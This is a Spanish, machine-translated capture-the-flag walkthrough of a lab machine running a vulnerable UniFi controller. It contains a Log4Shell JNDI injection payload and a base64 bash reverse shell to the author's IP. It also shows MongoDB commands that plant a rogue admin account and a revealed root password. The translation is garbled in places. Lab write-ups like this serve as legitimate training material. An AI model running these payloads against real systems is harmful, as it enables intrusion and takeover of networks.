piratear el campo de tiro de la caja drone objetivo unificado

Abierto, consulte la primera pregunta
inserte la descripción de la imagen aquí
P: ¿Qué puertos están abiertos?
Respuesta: 22,6789,8080,8443
use directamente el siguiente comando para iniciar el escaneo

nmap -sV -Pn 10.129.58.25 

inserte la descripción de la imagen aquí
La segunda pregunta:
inserte la descripción de la imagen aquí
P: ¿Cuál es el nombre de la aplicación con el número de puerto más grande?
Respuesta: red UniFI. Puedes acceder directamente con el puerto, recuerda usar https://

inserte la descripción de la imagen aquí
La tercera pregunta:
inserte la descripción de la imagen aquí
P: ¿Qué versión del software se está ejecutando?
Respuesta: Según la imagen de arriba, podemos saber que es 6.4.54

Cuarta pregunta:
inserte la descripción de la imagen aquí
P: ¿Cuál es el número de la vulnerabilidad?
Respuesta: cve-2021-44228. Estaba perdido cuando pregunté. Finalmente, busqué la pregunta sobre este campo de tiro en Baidu y luego encontré este artículo: https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire -unifi
Cuando lo abres, puedes encontrar que este artículo es en realidad la respuesta a este dron objetivo. Sabiendo que esta máquina de destino es una vulnerabilidad de log4j y luego escalando los derechos, entonces es el número de log4j.

Quinta pregunta:
inserte la descripción de la imagen aquí
P: ¿Cuál es la versión de maven que instalamos?
Respuesta: 3.6.3. Consulte las siguientes operaciones por motivos específicos.

Pregunta 6:
inserte la descripción de la imagen aquí
P: ¿Qué protocolo utiliza JDNI en la inyección?
Respuesta: ldap

Pregunta 7:
inserte la descripción de la imagen aquí
P: ¿Qué herramientas se utilizan para saber que nuestro ataque fue exitoso?
Respuesta: tcpdump. Responder a esta pregunta requiere el inicio oficial de las pruebas del sitio.
Primero, de acuerdo con la dirección IP obtenida anteriormente (la IP en mi lugar cambió porque la máquina de destino se reinició), acceda a:

https://10.129.17.119:8443

Saltará a la siguiente interfaz de inicio de sesión, iniciará sesión en
inserte la descripción de la imagen aquí
el cuadro de inicio de sesión, luego capturará el paquete y luego lo enviará al repetidor. El nombre de usuario y la contraseña son opcionales, pero la parte de recordar se modifica a:

${jndi:ldap://10.10.14.187/o=tomcat}

Recuerda cambiar la IP a la tuya.
inserte la descripción de la imagen aquí

Luego, vea si nuestra carga útil solicita que nuestro host recuerde. Primero, monitoree la tarjeta de red de la ip vpn obtenida localmente para ver si se solicita.

sudo tcpdump -i tun0

inserte la descripción de la imagen aquí
La tarjeta de red en este lugar debe basarse en su situación real. Puede saber qué tarjeta de red es ejecutando ifconfig directamente.
Luego reproduzca los paquetes de datos en burpsuite, puede ver que la tarjeta de red local ha recibido la información
inserte la descripción de la imagen aquí

Esto muestra que la máquina de destino tiene una vulnerabilidad log4j.
La pregunta aquí es, ¿por qué tienes que usar tcpdump en lugar de nc? La primera es que no sabemos el número de puerto, que también es el problema de la siguiente pregunta. El siguiente paso es saber el número de puerto, y la información recibida es distorsionada.Puedes intentarlo.

Octava pregunta:
inserte la descripción de la imagen aquí
P: ¿En qué puerto necesitamos verificar el tráfico?
Respuesta: 389, porque este es el puerto de ldap.

Hasta ahora, hemos verificado que la máquina de destino tiene lagunas. A continuación, debemos realizar gethel de acuerdo con la laguna de log4j y escalar el derecho para obtener la clave.

Para obtener el shell a través de la vulnerabilidad log4j, se requiere el siguiente script:
https://github.com/veracode-research/rogue-jndi

Instalamos el script y construimos el servidor con los siguientes comandos

git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package

La siguiente interfaz parece indicar que la compilación está completa (tenga en cuenta que es posible que maven deba instalarse solo en este lugar, y también es lento obtenerlo con git,Una vez que descargue maven, puede obtener maven versión 3.6.3 por mvn -version, que es la respuesta a la sexta pregunta
inserte la descripción de la imagen aquí

Luego, en la línea de comando, codifique en base64 el script para obtener el shell, preste atención para reemplazarlo con su propia dirección IP

echo 'bash -c bash -i >&/dev/tcp/10.10.14.53/4444 0>&1' | base64

inserte la descripción de la imagen aquí
Luego use java para completar el base64 generado anteriormente en el siguiente comando, y recuerde reemplazarlo con su propia dirección

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuNTMvNDQ0NCAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.53"

Aparece la siguiente interfaz para indicar que la operación fue exitosa

inserte la descripción de la imagen aquí
Escuche localmente en el puerto 4444

nc -lnvp 4444

Vuelva a enviarlo en burpsuite, preste atención a la solicitud enviada, la ip en recuerdo debe ser su propia ip, mi lugar cambió nuevamente porque reinicié la máquina de destino nuevamente.
inserte la descripción de la imagen aquí

En este momento, nc obtendrá el shell de la máquina de destino y el usuario es unif. El funcionamiento general de los pasos anteriores es el siguiente:
inserte la descripción de la imagen aquí
luego actualice a un shell interactivo para facilitar el siguiente paso .

script /dev/null -c bash

inserte la descripción de la imagen aquí
Continúe mirando la pregunta, la novena
inserte la descripción de la imagen aquí
pregunta: ¿En qué puerto se ejecuta mongodb?
Respuesta: 27117, use el siguiente comando para ver

ps aux | grep mongo

inserte la descripción de la imagen aquí
La décima pregunta:
inserte la descripción de la imagen aquí
P: ¿Cuál es el nombre de base de datos predeterminado de unifi?
Respuesta: as, puede encontrarlo, consulte: https://erikdekker.net/ubiquity/unifi/2020/05/09/reset-unifi-password.html. Este enlace también es una guía para hacer los siguientes temas.
Después de conocer el nombre de usuario, podemos conectarnos a la base de datos a través de la terminal

mongo --port  27117 ace

inserte la descripción de la imagen aquí
Ingreso exitoso a la base de datos.
Mire la undécima pregunta:
inserte la descripción de la imagen aquí
P: ¿Cuál es la función para enumerar todos los usuarios de la base de datos?
Respuesta: db.admin.find(). Los resultados de la ejecución son los siguientes: La
inserte la descripción de la imagen aquí
duodécima pregunta:
inserte la descripción de la imagen aquí
P: ¿Cuál es la función de agregar datos en mongodb?
Respuesta: db.admin.insert()

La decimotercera pregunta:
inserte la descripción de la imagen aquí
P: ¿Cuál es la función de actualizar datos en mongodb?
Respuesta: db.admin.update()

Después de las dos preguntas anteriores, probablemente podamos adivinar que la idea detrás es actualizar la contraseña del usuario con más privilegios y luego ir al fondo de unifi para ver.
Antes de agregar un usuario, primero debemos generar nuestra propia contraseña, use el siguiente comando para generarla, recuerde que la contraseña es la última y reemplácela con la nuestra.

mkpasswd -m sha-512 pilgrim

inserte la descripción de la imagen aquí
Luego ingresamos la contraseña y el nombre de usuario

db.admin.insert({ "email" : "[email protected]", "last_site_name" : "default", "name" : "unifi-admin", "time_created" : NumberLong(100019800), "x_shadow" : "$6$tVIuEdsp/Y4m8DBy$Dw6.glWpTSPKyxICzmNy.sSrJ9.EXzTsWbK8mKHd8z5njxPwZOi9pcGYgIjI0Ee./JFnES17WMLGexOiABG6m0" })

inserte la descripción de la imagen aquí
Se puede ver que la ejecución es exitosa, luego busque a todos los usuarios y luego obtenga el ID de objeto del usuario que acaba de agregar.

db.admin.find().forEach(printjson);

inserte la descripción de la imagen aquí
Consulta los datos de los usuarios de la web

db.site.find().forEach(printjson);

inserte la descripción de la imagen aquí
Vincule el usuario que insertamos a este sitio web, donde admin_id es la identificación del usuario agregado por nosotros mismos, y site_id es la identificación obtenida anteriormente

db.privilege.insert({ "admin_id" : "623f071e1ab0487109299461", "permissions" : [ ], "role" : "admin", "site_id" : "61ce269d46e0fb0012d47ec4" });

La siguiente ejecución es exitosa
inserte la descripción de la imagen aquí
. Luego, vaya a la página de inicio de sesión en segundo plano para iniciar sesión en la cuenta en este momento. Recuerde que el nombre de la cuenta es unifi-admin, y la contraseña es la contraseña que estableció usted mismo. Este lugar tomará mucho tiempo, espere, intente cambiar algunos navegadores más. La contraseña de root se puede conocer en la configuración de la siguiente manera:

NotACrackablePassword4U2022

Aquí está la respuesta a la decimocuarta pregunta.
inserte la descripción de la imagen aquí

ssh directamente en el pasado, de hecho es un permiso de root,
inserte la descripción de la imagen aquí
así que vaya directamente a la bandera.

cat /root/root.txt            #root账户的flag
cat /home/michael/user.txt    #用户的flag

inserte la descripción de la imagen aquí
inserte la descripción de la imagen aquí

terminó
Referenciado a:
https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi
https://www.youtube.com/watch?v=NLf1xzdlfCE
https://erikdekker.net /ubiquity /unifi/2020/05/09/restablecer-unifi-contraseña.html

Supongo que te gusta

Origin blog.csdn.net/zr1213159840/article/details/123697698
Recomendado
Clasificación